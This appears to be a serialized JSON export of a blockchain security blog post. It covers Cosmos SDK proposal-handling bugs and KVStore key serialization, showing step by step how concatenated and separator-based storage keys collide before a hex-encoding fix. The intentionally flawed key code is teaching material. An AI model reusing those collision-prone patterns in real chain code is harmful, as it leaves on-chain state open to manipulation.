json",{"type":22,"tag":101,"props":87991,"children":87992},{"style":120},[87993],{"type":27,"value":231},{"type":22,"tag":101,"props":87995,"children":87996},{"style":926},[87997],{"type":27,"value":87998},"Marshal",{"type":22,"tag":101,"props":88000,"children":88001},{"style":120},[88002],{"type":27,"value":980},{"type":22,"tag":101,"props":88004,"children":88005},{"style":126},[88006],{"type":27,"value":87656},{"type":22,"tag":101,"props":88008,"children":88009},{"style":120},[88010],{"type":27,"value":231},{"type":22,"tag":101,"props":88012,"children":88013},{"style":126},[88014],{"type":27,"value":87911},{"type":22,"tag":101,"props":88016,"children":88017},{"style":120},[88018],{"type":27,"value":2510},{"type":22,"tag":101,"props":88020,"children":88021},{"class":103,"line":1118},[88022,88026,88030,88034,88038],{"type":22,"tag":101,"props":88023,"children":88024},{"style":3595},[88025],{"type":27,"value":62798},{"type":22,"tag":101,"props":88027,"children":88028},{"style":126},[88029],{"type":27,"value":52518},{"type":22,"tag":101,"props":88031,"children":88032},{"style":166},[88033],{"type":27,"value":3612},{"type":22,"tag":101,"props":88035,"children":88036},{"style":108},[88037],{"type":27,"value":85425},{"type":22,"tag":101,"props":88039,"children":88040},{"style":120},[88041],{"type":27,"value":154},{"type":22,"tag":101,"props":88043,"children":88044},{"class":103,"line":1158},[88045,88050,88054,88059,88063,88067,88071,88076,88080,88085,88089,88093],{"type":22,"tag":101,"props":88046,"children":88047},{"style":126},[88048],{"type":27,"value":88049}," h",{"type":22,"tag":101,"props":88051,"children":88052},{"style":120},[88053],{"type":27,"value":231},{"type":22,"tag":101,"props":88055,"children":88056},{"style":126},[88057],{"type":27,"value":88058},"logger",{"type":22,"tag":101,"props":88060,"children":88061},{"style":120},[88062],{"type":27,"value":231},{"type":22,"tag":101,"props":88064,"children":88065},{"style":926},[88066],{"type":27,"value":41394},{"type":22,"tag":101,"props":88068,"children":88069},{"style":120},[88070],{"type":27,"value":980},{"type":22,"tag":101,"props":88072,"children":88073},{"style":6476},[88074],{"type":27,"value":88075},"\"failed to marshal extended votes\"",{"type":22,"tag":101,"props":88077,"children":88078},{"style":120},[88079],{"type":27,"value":758},{"type":22,"tag":101,"props":88081,"children":88082},{"style":6476},[88083],{"type":27,"value":88084},"\"err\"",{"type":22,"tag":101,"props":88086,"children":88087},{"style":120},[88088],{"type":27,"value":758},{"type":22,"tag":101,"props":88090,"children":88091},{"style":126},[88092],{"type":27,"value":52417},{"type":22,"tag":101,"props":88094,"children":88095},{"style":120},[88096],{"type":27,"value":2510},{"type":22,"tag":101,"props":88098,"children":88099},{"class":103,"line":1166},[88100,88104,88108,88112],{"type":22,"tag":101,"props":88101,"children":88102},{"style":3595},[88103],{"type":27,"value":64726},{"type":22,"tag":101,"props":88105,"children":88106},{"style":108},[88107],{"type":27,"value":85425},{"type":22,"tag":101,"props":88109,"children":88110},{"style":120},[88111],{"type":27,"value":758},{"type":22,"tag":101,"props":88113,"children":88114},{"style":126},[88115],{"type":27,"value":87146},{"type":22,"tag":101,"props":88117,"children":88118},{"class":103,"line":1215},[88119],{"type":22,"tag":101,"props":88120,"children":88121},{"style":120},[88122],{"type":27,"value":62882},{"type":22,"tag":101,"props":88124,"children":88125},{"class":103,"line":2425},[88126],{"type":22,"tag":101,"props":88127,"children":88128},{"style":166},[88129],{"type":27,"value":86025},{"type":22,"tag":101,"props":88131,"children":88132},{"class":103,"line":5417},[88133],{"type":22,"tag":101,"props":88134,"children":88135},{"style":120},[88136],{"type":27,"value":2398},{"type":22,"tag":101,"props":88138,"children":88139},{"class":103,"line":7714},[88140,88145,88149,88153,88157,88162,88166,88171,88175,88179,88183,88187],{"type":22,"tag":101,"props":88141,"children":88142},{"style":126},[88143],{"type":27,"value":88144}," defaultRes",{"type":22,"tag":101,"props":88146,"children":88147},{"style":120},[88148],{"type":27,"value":758},{"type":22,"tag":101,"props":88150,"children":88151},{"style":126},[88152],{"type":27,"value":52417},{"type":22,"tag":101,"props":88154,"children":88155},{"style":166},[88156],{"type":27,"value":79923},{"type":22,"tag":101,"props":88158,"children":88159},{"style":126},[88160],{"type":27,"value":88161}," h",{"type":22,"tag":101,"props":88163,"children":88164},{"style":120},[88165],{"type":27,"value":231},{"type":22,"tag":101,"props":88167,"children":88168},{"style":926},[88169],{"type":27,"value":88170},"defaultPrepareProposal",{"type":22,"tag":101,"props":88172,"children":88173},{"style":120},[88174],{"type":27,"value":980},{"type":22,"tag":101,"props":88176,"children":88177},{"style":126},[88178],{"type":27,"value":24271},{"type":22,"tag":101,"props":88180,"children":88181},{"style":120},[88182],{"type":27,"value":758},{"type":22,"tag":101,"props":88184,"children":88185},{"style":126},[88186],{"type":27,"value":87656},{"type":22,"tag":101,"props":88188,"children":88189},{"style":120},[88190],{"type":27,"value":2510},{"type":22,"tag":101,"props":88192,"children":88193},{"class":103,"line":7723},[88194],{"type":22,"tag":101,"props":88195,"children":88196},{"style":166},[88197],{"type":27,"value":85349},{"type":22,"tag":101,"props":88199,"children":88200},{"class":103,"line":7791},[88201,88206,88210,88215,88219],{"type":22,"tag":101,"props":88202,"children":88203},{"style":126},[88204],{"type":27,"value":88205}," proposalTxs",{"type":22,"tag":101,"props":88207,"children":88208},{"style":166},[88209],{"type":27,"value":79923},{"type":22,"tag":101,"props":88211,"children":88212},{"style":126},[88213],{"type":27,"value":88214}," defaultRes",{"type":22,"tag":101,"props":88216,"children":88217},{"style":120},[88218],{"type":27,"value":231},{"type":22,"tag":101,"props":88220,"children":88221},{"style":126},[88222],{"type":27,"value":88223},"Txs\n",{"type":22,"tag":101,"props":88225,"children":88226},{"class":103,"line":7799},[88227,88231,88235,88239,88243],{"type":22,"tag":101,"props":88228,"children":88229},{"style":3595},[88230],{"type":27,"value":7312},{"type":22,"tag":101,"props":88232,"children":88233},{"style":126},[88234],{"type":27,"value":87726},{"type":22,"tag":101,"props":88236,"children":88237},{"style":166},[88238],{"type":27,"value":3612},{"type":22,"tag":101,"props":88240,"children":88241},{"style":108},[88242],{"type":27,"value":85425},{"type":22,"tag":101,"props":88244,"children":88245},{"style":120},[88246],{"type":27,"value":154},{"type":22,"tag":101,"props":88248,"children":88249},{"class":103,"line":7829},[88250,88255,88259,88263,88268,88273,88277,88282,88286,88291,88295],{"type":22,"tag":101,"props":88251,"children":88252},{"style":126},[88253],{"type":27,"value":88254}," proposalTxs",{"type":22,"tag":101,"props":88256,"children":88257},{"style":166},[88258],{"type":27,"value":960},{"type":22,"tag":101,"props":88260,"children":88261},{"style":926},[88262],{"type":27,"value":81203},{"type":22,"tag":101,"props":88264,"children":88265},{"style":120},[88266],{"type":27,"value":88267},"([][]",{"type":22,"tag":101,"props":88269,"children":88270},{"style":114},[88271],{"type":27,"value":88272},"byte",{"type":22,"tag":101,"props":88274,"children":88275},{"style":120},[88276],{"type":27,"value":80125},{"type":22,"tag":101,"props":88278,"children":88279},{"style":126},[88280],{"type":27,"value":88281},"injection",{"type":22,"tag":101,"props":88283,"children":88284},{"style":120},[88285],{"type":27,"value":80144},{"type":22,"tag":101,"props":88287,"children":88288},{"style":126},[88289],{"type":27,"value":88290},"proposalTxs",{"type":22,"tag":101,"props":88292,"children":88293},{"style":166},[88294],{"type":27,"value":614},{"type":22,"tag":101,"props":88296,"children":88297},{"style":120},[88298],{"type":27,"value":2510},{"type":22,"tag":101,"props":88300,"children":88301},{"class":103,"line":7837},[88302,88307,88311,88315,88319,88323,88327,88332,88336,88341,88345,88349,88353,88357],{"type":22,"tag":101,"props":88303,"children":88304},{"style":126},[88305],{"type":27,"value":88306}," h",{"type":22,"tag":101,"props":88308,"children":88309},{"style":120},[88310],{"type":27,"value":231},{"type":22,"tag":101,"props":88312,"children":88313},{"style":126},[88314],{"type":27,"value":88058},{"type":22,"tag":101,"props":88316,"children":88317},{"style":120},[88318],{"type":27,"value":231},{"type":22,"tag":101,"props":88320,"children":88321},{"style":926},[88322],{"type":27,"value":28709},{"type":22,"tag":101,"props":88324,"children":88325},{"style":120},[88326],{"type":27,"value":980},{"type":22,"tag":101,"props":88328,"children":88329},{"style":6476},[88330],{"type":27,"value":88331},"\"injected local last commit\"",{"type":22,"tag":101,"props":88333,"children":88334},{"style":120},[88335],{"type":27,"value":758},{"type":22,"tag":101,"props":88337,"children":88338},{"style":6476},[88339],{"type":27,"value":88340},"\"height\"",{"type":22,"tag":101,"props":88342,"children":88343},{"style":120},[88344],{"type":27,"value":758},{"type":22,"tag":101,"props":88346,"children":88347},{"style":126},[88348],{"type":27,"value":87656},{"type":22,"tag":101,"props":88350,"children":88351},{"style":120},[88352],{"type":27,"value":231},{"type":22,"tag":101,"props":88354,"children":88355},{"style":126},[88356],{"type":27,"value":86986},{"type":22,"tag":101,"props":88358,"children":88359},{"style":120},[88360],{"type":27,"value":2510},{"type":22,"tag":101,"props":88362,"children":88363},{"class":103,"line":7868},[88364],{"type":22,"tag":101,"props":88365,"children":88366},{"style":120},[88367],{"type":27,"value":2398},{"type":22,"tag":101,"props":88369,"children":88370},{"class":103,"line":7876},[88371,88375,88379,88383,88387,88391],{"type":22,"tag":101,"props":88372,"children":88373},{"style":3595},[88374],{"type":27,"value":19742},{"type":22,"tag":101,"props":88376,"children":88377},{"style":166},[88378],{"type":27,"value":870},{"type":22,"tag":101,"props":88380,"children":88381},{"style":114},[88382],{"type":27,"value":87665},{"type":22,"tag":101,"props":88384,"children":88385},{"style":120},[88386],{"type":27,"value":231},{"type":22,"tag":101,"props":88388,"children":88389},{"style":114},[88390],{"type":27,"value":87695},{"type":22,"tag":101,"props":88392,"children":88393},{"style":120},[88394],{"type":27,"value":14886},{"type":22,"tag":101,"props":88396,"children":88397},{"class":103,"line":7936},[88398,88403,88407,88411],{"type":22,"tag":101,"props":88399,"children":88400},{"style":126},[88401],{"type":27,"value":88402}," Txs",{"type":22,"tag":101,"props":88404,"children":88405},{"style":120},[88406],{"type":27,"value":19332},{"type":22,"tag":101,"props":88408,"children":88409},{"style":126},[88410],{"type":27,"value":88290},{"type":22,"tag":101,"props":88412,"children":88413},{"style":120},[88414],{"type":27,"value":179},{"type":22,"tag":101,"props":88416,"children":88417},{"class":103,"line":13054},[88418,88423],{"type":22,"tag":101,"props":88419,"children":88420},{"style":120},[88421],{"type":27,"value":88422}," }, ",{"type":22,"tag":101,"props":88424,"children":88425},{"style":108},[88426],{"type":27,"value":80149},{"type":22,"tag":101,"props":88428,"children":88429},{"class":103,"line":13072},[88430],{"type":22,"tag":101,"props":88431,"children":88432},{"style":120},[88433],{"type":27,"value":1734},{"type":22,"tag":101,"props":88435,"children":88436},{"class":103,"line":13117},[88437],{"type":22,"tag":101,"props":88438,"children":88439},{"style":120},[88440],{"type":27,"value":188},{"type":22,"tag":23,"props":88442,"children":88443},{},[88444,88446,88451,88452,88457,88459,88466],{"type":27,"value":88445},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":22,"tag":30,"props":88447,"children":88449},{"className":88448},[],[88450],{"type":27,"value":86815},{"type":27,"value":3603},{"type":22,"tag":30,"props":88453,"children":88455},{"className":88454},[],[88456],{"type":27,"value":86883},{"type":27,"value":88458},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":22,"tag":80,"props":88460,"children":88463},{"href":88461,"rel":88462},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[84],[88464],{"type":27,"value":88465},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":27,"value":88467},", which will later get rejected by CometBTF.",{"type":22,"tag":53,"props":88469,"children":88471},{"id":88470},"the-keymaker",[88472],{"type":27,"value":88473},"The Keymaker",{"type":22,"tag":23,"props":88475,"children":88476},{},[88477,88479,88485,88487,88492],{"type":27,"value":88478},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":22,"tag":30,"props":88480,"children":88482},{"className":88481},[],[88483],{"type":27,"value":88484},"KVStore",{"type":27,"value":88486}," to handle states efficently. In ",{"type":22,"tag":30,"props":88488,"children":88490},{"className":88489},[],[88491],{"type":27,"value":88484},{"type":27,"value":88493},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":22,"tag":23,"props":88495,"children":88496},{},[88497],{"type":27,"value":88498},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":22,"tag":23,"props":88500,"children":88501},{},[88502,88504,88510],{"type":27,"value":88503},"Let's start by considering a scenario where we need to store the ",{"type":22,"tag":30,"props":88505,"children":88507},{"className":88506},[],[88508],{"type":27,"value":88509},"positionMap",{"type":27,"value":88511}," structure mentioned below into storage.",{"type":22,"tag":91,"props":88513,"children":88515},{"code":88514,"language":79671,"meta":7,"className":79672,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[88516],{"type":22,"tag":30,"props":88517,"children":88518},{"__ignoreMap":7},[88519,88535,88552,88568,88587,88602,88609,88626],{"type":22,"tag":101,"props":88520,"children":88521},{"class":103,"line":104},[88522,88526,88531],{"type":22,"tag":101,"props":88523,"children":88524},{"style":108},[88525],{"type":27,"value":36752},{"type":22,"tag":101,"props":88527,"children":88528},{"style":114},[88529],{"type":27,"value":88530}," VaultId",{"type":22,"tag":101,"props":88532,"children":88533},{"style":114},[88534],{"type":27,"value":79709},{"type":22,"tag":101,"props":88536,"children":88537},{"class":103,"line":157},[88538,88542,88547],{"type":22,"tag":101,"props":88539,"children":88540},{"style":108},[88541],{"type":27,"value":36752},{"type":22,"tag":101,"props":88543,"children":88544},{"style":114},[88545],{"type":27,"value":88546}," Username",{"type":22,"tag":101,"props":88548,"children":88549},{"style":114},[88550],{"type":27,"value":88551}," string\n",{"type":22,"tag":101,"props":88553,"children":88554},{"class":103,"line":182},[88555,88559,88564],{"type":22,"tag":101,"props":88556,"children":88557},{"style":108},[88558],{"type":27,"value":36752},{"type":22,"tag":101,"props":88560,"children":88561},{"style":114},[88562],{"type":27,"value":88563}," PositionName",{"type":22,"tag":101,"props":88565,"children":88566},{"style":114},[88567],{"type":27,"value":88551},{"type":22,"tag":101,"props":88569,"children":88570},{"class":103,"line":367},[88571,88575,88579,88583],{"type":22,"tag":101,"props":88572,"children":88573},{"style":108},[88574],{"type":27,"value":36752},{"type":22,"tag":101,"props":88576,"children":88577},{"style":114},[88578],{"type":27,"value":11439},{"type":22,"tag":101,"props":88580,"children":88581},{"style":108},[88582],{"type":27,"value":25138},{"type":22,"tag":101,"props":88584,"children":88585},{"style":120},[88586],{"type":27,"value":154},{"type":22,"tag":101,"props":88588,"children":88589},{"class":103,"line":398},[88590,88594,88598],{"type":22,"tag":101,"props":88591,"children":88592},{"style":126},[88593],{"type":27,"value":47227},{"type":22,"tag":101,"props":88595,"children":88596},{"style":120},[88597],{"type":27,"value":79734},{"type":22,"tag":101,"props":88599,"children":88600},{"style":114},[88601],{"type":27,"value":87735},{"type":22,"tag":101,"props":88603,"children":88604},{"class":103,"line":428},[88605],{"type":22,"tag":101,"props":88606,"children":88607},{"style":120},[88608],{"type":27,"value":188},{"type":22,"tag":101,"props":88610,"children":88611},{"class":103,"line":997},[88612,88616,88621],{"type":22,"tag":101,"props":88613,"children":88614},{"style":108},[88615],{"type":27,"value":36752},{"type":22,"tag":101,"props":88617,"children":88618},{"style":114},[88619],{"type":27,"value":88620}," PositionMap",{"type":22,"tag":101,"props":88622,"children":88623},{"style":166},[88624],{"type":27,"value":88625}," :=\n",{"type":22,"tag":101,"props":88627,"children":88628},{"class":103,"line":1032},[88629,88634,88638,88643,88647,88651,88655,88660,88664,88668,88672,88677,88681],{"type":22,"tag":101,"props":88630,"children":88631},{"style":108},[88632],{"type":27,"value":88633}," map",{"type":22,"tag":101,"props":88635,"children":88636},{"style":120},[88637],{"type":27,"value":2414},{"type":22,"tag":101,"props":88639,"children":88640},{"style":114},[88641],{"type":27,"value":88642},"VaultId",{"type":22,"tag":101,"props":88644,"children":88645},{"style":120},[88646],{"type":27,"value":19412},{"type":22,"tag":101,"props":88648,"children":88649},{"style":108},[88650],{"type":27,"value":6350},{"type":22,"tag":101,"props":88652,"children":88653},{"style":120},[88654],{"type":27,"value":2414},{"type":22,"tag":101,"props":88656,"children":88657},{"style":114},[88658],{"type":27,"value":88659},"Username",{"type":22,"tag":101,"props":88661,"children":88662},{"style":120},[88663],{"type":27,"value":19412},{"type":22,"tag":101,"props":88665,"children":88666},{"style":108},[88667],{"type":27,"value":6350},{"type":22,"tag":101,"props":88669,"children":88670},{"style":120},[88671],{"type":27,"value":2414},{"type":22,"tag":101,"props":88673,"children":88674},{"style":114},[88675],{"type":27,"value":88676},"PositionName",{"type":22,"tag":101,"props":88678,"children":88679},{"style":120},[88680],{"type":27,"value":19412},{"type":22,"tag":101,"props":88682,"children":88683},{"style":114},[88684],{"type":27,"value":88685},"Position\n",{"type":22,"tag":23,"props":88687,"children":88688},{},[88689,88691,88697],{"type":27,"value":88690},"Given that there are two levels of keys in ",{"type":22,"tag":30,"props":88692,"children":88694},{"className":88693},[],[88695],{"type":27,"value":88696},"PositionMap",{"type":27,"value":88698},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":22,"tag":91,"props":88700,"children":88702},{"code":88701,"language":79671,"meta":7,"className":79672,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[88703],{"type":22,"tag":30,"props":88704,"children":88705},{"__ignoreMap":7},[88706,88735,88747,88759,88771,88783],{"type":22,"tag":101,"props":88707,"children":88708},{"class":103,"line":104},[88709,88714,88718,88722,88726,88731],{"type":22,"tag":101,"props":88710,"children":88711},{"style":126},[88712],{"type":27,"value":88713},"storageKey",{"type":22,"tag":101,"props":88715,"children":88716},{"style":166},[88717],{"type":27,"value":79923},{"type":22,"tag":101,"props":88719,"children":88720},{"style":126},[88721],{"type":27,"value":85741},{"type":22,"tag":101,"props":88723,"children":88724},{"style":120},[88725],{"type":27,"value":231},{"type":22,"tag":101,"props":88727,"children":88728},{"style":926},[88729],{"type":27,"value":88730},"Sprintf",{"type":22,"tag":101,"props":88732,"children":88733},{"style":120},[88734],{"type":27,"value":1850},{"type":22,"tag":101,"props":88736,"children":88737},{"class":103,"line":157},[88738,88743],{"type":22,"tag":101,"props":88739,"children":88740},{"style":6476},[88741],{"type":27,"value":88742}," \"%d%s%s\"",{"type":22,"tag":101,"props":88744,"children":88745},{"style":120},[88746],{"type":27,"value":179},{"type":22,"tag":101,"props":88748,"children":88749},{"class":103,"line":182},[88750,88755],{"type":22,"tag":101,"props":88751,"children":88752},{"style":126},[88753],{"type":27,"value":88754}," vaultId",{"type":22,"tag":101,"props":88756,"children":88757},{"style":120},[88758],{"type":27,"value":179},{"type":22,"tag":101,"props":88760,"children":88761},{"class":103,"line":367},[88762,88767],{"type":22,"tag":101,"props":88763,"children":88764},{"style":126},[88765],{"type":27,"value":88766}," username",{"type":22,"tag":101,"props":88768,"children":88769},{"style":120},[88770],{"type":27,"value":179},{"type":22,"tag":101,"props":88772,"children":88773},{"class":103,"line":398},[88774,88779],{"type":22,"tag":101,"props":88775,"children":88776},{"style":126},[88777],{"type":27,"value":88778}," positionName",{"type":22,"tag":101,"props":88780,"children":88781},{"style":120},[88782],{"type":27,"value":179},{"type":22,"tag":101,"props":88784,"children":88785},{"class":103,"line":428},[88786],{"type":22,"tag":101,"props":88787,"children":88788},{"style":120},[88789],{"type":27,"value":2510},{"type":22,"tag":23,"props":88791,"children":88792},{},[88793],{"type":27,"value":88794},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":22,"tag":91,"props":88796,"children":88798},{"code":88797},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[88799],{"type":22,"tag":30,"props":88800,"children":88801},{"__ignoreMap":7},[88802],{"type":27,"value":88797},{"type":22,"tag":23,"props":88804,"children":88805},{},[88806,88811],{"type":22,"tag":6961,"props":88807,"children":88808},{},[88809],{"type":27,"value":88810},"So, how can we mitigate this issue?",{"type":27,"value":88812},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":22,"tag":91,"props":88814,"children":88816},{"code":88815,"language":79671,"meta":7,"className":79672,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[88817],{"type":22,"tag":30,"props":88818,"children":88819},{"__ignoreMap":7},[88820,88831,88848,88855,88862,88889,88901,88912,88923,88934,88945,88956],{"type":22,"tag":101,"props":88821,"children":88822},{"class":103,"line":104},[88823,88827],{"type":22,"tag":101,"props":88824,"children":88825},{"style":108},[88826],{"type":27,"value":13660},{"type":22,"tag":101,"props":88828,"children":88829},{"style":120},[88830],{"type":27,"value":82073},{"type":22,"tag":101,"props":88832,"children":88833},{"class":103,"line":157},[88834,88839,88843],{"type":22,"tag":101,"props":88835,"children":88836},{"style":126},[88837],{"type":27,"value":88838}," Seperator",{"type":22,"tag":101,"props":88840,"children":88841},{"style":166},[88842],{"type":27,"value":960},{"type":22,"tag":101,"props":88844,"children":88845},{"style":6476},[88846],{"type":27,"value":88847}," \"|\"\n",{"type":22,"tag":101,"props":88849,"children":88850},{"class":103,"line":182},[88851],{"type":22,"tag":101,"props":88852,"children":88853},{"style":120},[88854],{"type":27,"value":2510},{"type":22,"tag":101,"props":88856,"children":88857},{"class":103,"line":367},[88858],{"type":22,"tag":101,"props":88859,"children":88860},{"emptyLinePlaceholder":15},[88861],{"type":27,"value":1581},{"type":22,"tag":101,"props":88863,"children":88864},{"class":103,"line":398},[88865,88869,88873,88877,88881,88885],{"type":22,"tag":101,"props":88866,"children":88867},{"style":126},[88868],{"type":27,"value":88713},{"type":22,"tag":101,"props":88870,"children":88871},{"style":166},[88872],{"type":27,"value":79923},{"type":22,"tag":101,"props":88874,"children":88875},{"style":126},[88876],{"type":27,"value":85741},{"type":22,"tag":101,"props":88878,"children":88879},{"style":120},[88880],{"type":27,"value":231},{"type":22,"tag":101,"props":88882,"children":88883},{"style":926},[88884],{"type":27,"value":88730},{"type":22,"tag":101,"props":88886,"children":88887},{"style":120},[88888],{"type":27,"value":1850},{"type":22,"tag":101,"props":88890,"children":88891},{"class":103,"line":428},[88892,88897],{"type":22,"tag":101,"props":88893,"children":88894},{"style":6476},[88895],{"type":27,"value":88896}," \"%d%s%s%s%s\"",{"type":22,"tag":101,"props":88898,"children":88899},{"style":120},[88900],{"type":27,"value":179},{"type":22,"tag":101,"props":88902,"children":88903},{"class":103,"line":997},[88904,88908],{"type":22,"tag":101,"props":88905,"children":88906},{"style":126},[88907],{"type":27,"value":88754},{"type":22,"tag":101,"props":88909,"children":88910},{"style":120},[88911],{"type":27,"value":179},{"type":22,"tag":101,"props":88913,"children":88914},{"class":103,"line":1032},[88915,88919],{"type":22,"tag":101,"props":88916,"children":88917},{"style":126},[88918],{"type":27,"value":88838},{"type":22,"tag":101,"props":88920,"children":88921},{"style":120},[88922],{"type":27,"value":179},{"type":22,"tag":101,"props":88924,"children":88925},{"class":103,"line":1063},[88926,88930],{"type":22,"tag":101,"props":88927,"children":88928},{"style":126},[88929],{"type":27,"value":88766},{"type":22,"tag":101,"props":88931,"children":88932},{"style":120},[88933],{"type":27,"value":179},{"type":22,"tag":101,"props":88935,"children":88936},{"class":103,"line":1071},[88937,88941],{"type":22,"tag":101,"props":88938,"children":88939},{"style":126},[88940],{"type":27,"value":88838},{"type":22,"tag":101,"props":88942,"children":88943},{"style":120},[88944],{"type":27,"value":179},{"type":22,"tag":101,"props":88946,"children":88947},{"class":103,"line":1110},[88948,88952],{"type":22,"tag":101,"props":88949,"children":88950},{"style":126},[88951],{"type":27,"value":88778},{"type":22,"tag":101,"props":88953,"children":88954},{"style":120},[88955],{"type":27,"value":179},{"type":22,"tag":101,"props":88957,"children":88958},{"class":103,"line":1118},[88959],{"type":22,"tag":101,"props":88960,"children":88961},{"style":120},[88962],{"type":27,"value":2510},{"type":22,"tag":23,"props":88964,"children":88965},{},[88966],{"type":27,"value":88967},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":22,"tag":23,"props":88969,"children":88970},{},[88971,88973,88979,88980,88986],{"type":27,"value":88972},"Sadly, it doesn't. Since the ",{"type":22,"tag":30,"props":88974,"children":88976},{"className":88975},[],[88977],{"type":27,"value":88978},"username",{"type":27,"value":209},{"type":22,"tag":30,"props":88981,"children":88983},{"className":88982},[],[88984],{"type":27,"value":88985},"vaultName",{"type":27,"value":88987}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":22,"tag":91,"props":88989,"children":88991},{"code":88990},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[88992],{"type":22,"tag":30,"props":88993,"children":88994},{"__ignoreMap":7},[88995],{"type":27,"value":88990},{"type":22,"tag":23,"props":88997,"children":88998},{},[88999],{"type":27,"value":89000},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":22,"tag":91,"props":89002,"children":89004},{"code":89003,"language":79671,"meta":7,"className":79672,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[89005],{"type":22,"tag":30,"props":89006,"children":89007},{"__ignoreMap":7},[89008,89019,89034,89041,89048,89055,89076,89092,89130,89137,89174,89181,89201,89216,89252,89259,89294,89301,89328,89339,89350,89361,89373,89384,89392],{"type":22,"tag":101,"props":89009,"children":89010},{"class":103,"line":104},[89011,89015],{"type":22,"tag":101,"props":89012,"children":89013},{"style":108},[89014],{"type":27,"value":13660},{"type":22,"tag":101,"props":89016,"children":89017},{"style":120},[89018],{"type":27,"value":82073},{"type":22,"tag":101,"props":89020,"children":89021},{"class":103,"line":157},[89022,89026,89030],{"type":22,"tag":101,"props":89023,"children":89024},{"style":126},[89025],{"type":27,"value":88838},{"type":22,"tag":101,"props":89027,"children":89028},{"style":166},[89029],{"type":27,"value":960},{"type":22,"tag":101,"props":89031,"children":89032},{"style":6476},[89033],{"type":27,"value":88847},{"type":22,"tag":101,"props":89035,"children":89036},{"class":103,"line":182},[89037],{"type":22,"tag":101,"props":89038,"children":89039},{"style":120},[89040],{"type":27,"value":2510},{"type":22,"tag":101,"props":89042,"children":89043},{"class":103,"line":367},[89044],{"type":22,"tag":101,"props":89045,"children":89046},{"emptyLinePlaceholder":15},[89047],{"type":27,"value":1581},{"type":22,"tag":101,"props":89049,"children":89050},{"class":103,"line":398},[89051],{"type":22,"tag":101,"props":89052,"children":89053},{"emptyLinePlaceholder":15},[89054],{"type":27,"value":1581},{"type":22,"tag":101,"props":89056,"children":89057},{"class":103,"line":428},[89058,89063,89067,89072],{"type":22,"tag":101,"props":89059,"children":89060},{"style":126},[89061],{"type":27,"value":89062},"usernameEncoded",{"type":22,"tag":101,"props":89064,"children":89065},{"style":166},[89066],{"type":27,"value":79923},{"type":22,"tag":101,"props":89068,"children":89069},{"style":926},[89070],{"type":27,"value":89071}," make",{"type":22,"tag":101,"props":89073,"children":89074},{"style":120},[89075],{"type":27,"value":1850},{"type":22,"tag":101,"props":89077,"children":89078},{"class":103,"line":997},[89079,89084,89088],{"type":22,"tag":101,"props":89080,"children":89081},{"style":120},[89082],{"type":27,"value":89083}," []",{"type":22,"tag":101,"props":89085,"children":89086},{"style":114},[89087],{"type":27,"value":88272},{"type":22,"tag":101,"props":89089,"children":89090},{"style":120},[89091],{"type":27,"value":179},{"type":22,"tag":101,"props":89093,"children":89094},{"class":103,"line":1032},[89095,89100,89104,89109,89113,89117,89121,89125],{"type":22,"tag":101,"props":89096,"children":89097},{"style":126},[89098],{"type":27,"value":89099}," hex",{"type":22,"tag":101,"props":89101,"children":89102},{"style":120},[89103],{"type":27,"value":231},{"type":22,"tag":101,"props":89105,"children":89106},{"style":926},[89107],{"type":27,"value":89108},"EncodedLen",{"type":22,"tag":101,"props":89110,"children":89111},{"style":120},[89112],{"type":27,"value":980},{"type":22,"tag":101,"props":89114,"children":89115},{"style":926},[89116],{"type":27,"value":13147},{"type":22,"tag":101,"props":89118,"children":89119},{"style":120},[89120],{"type":27,"value":980},{"type":22,"tag":101,"props":89122,"children":89123},{"style":126},[89124],{"type":27,"value":88978},{"type":22,"tag":101,"props":89126,"children":89127},{"style":120},[89128],{"type":27,"value":89129},")),\n",{"type":22,"tag":101,"props":89131,"children":89132},{"class":103,"line":1063},[89133],{"type":22,"tag":101,"props":89134,"children":89135},{"style":120},[89136],{"type":27,"value":2510},{"type":22,"tag":101,"props":89138,"children":89139},{"class":103,"line":1071},[89140,89145,89149,89154,89158,89162,89166,89170],{"type":22,"tag":101,"props":89141,"children":89142},{"style":126},[89143],{"type":27,"value":89144},"hex",{"type":22,"tag":101,"props":89146,"children":89147},{"style":120},[89148],{"type":27,"value":231},{"type":22,"tag":101,"props":